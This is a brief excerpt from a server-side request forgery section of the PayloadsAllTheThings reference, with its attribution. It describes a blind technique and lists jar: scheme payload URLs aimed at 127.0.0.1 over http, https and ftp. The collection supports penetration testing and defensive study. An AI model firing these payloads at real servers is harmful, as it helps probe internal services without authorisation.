This attack technique is fully blind, you won't see the result.
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/Source: Server Side Request Forgery/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.